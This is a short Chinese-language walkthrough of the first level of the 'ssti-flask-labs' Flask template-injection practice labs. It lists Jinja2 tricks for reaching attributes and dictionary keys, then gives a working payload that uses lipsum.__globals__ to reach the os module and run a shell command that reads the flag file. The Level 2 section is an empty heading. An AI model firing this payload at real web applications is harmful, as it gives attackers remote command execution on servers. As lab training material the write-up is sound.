ssti-flask-labs

  1. ssti-flask-labs
    1. 获取属性的方式
  • Level 1 无过滤
  • Level 2 双大括号’
  • ssti-flask-labs

    获取键值或下标的方式

    1
    2
    3
    4
    5
    6
    7
    8
    dict['__builtins__']
    dict.__getitem__('__builtins__')
    dict.pop('__builtins__')
    dict.get('__builtins__')
    dict.setdefault('__builtins__')
    list[0]
    list.__getitem__(0)
    list.pop(0)
    获取属性的方式
    1
    2
    3
    4
    ().__class__
    ()["__class__"]
    ()|attr("__class__")
    ().__getattribute__("__class__")

    Level 1 无过滤

    没有任何过滤,直接构造调用lipsum函数的os模块使用popen命令读取flag

    payload:

    1
    code={{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

    Level 2 双大括号’


    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
    MIXBP github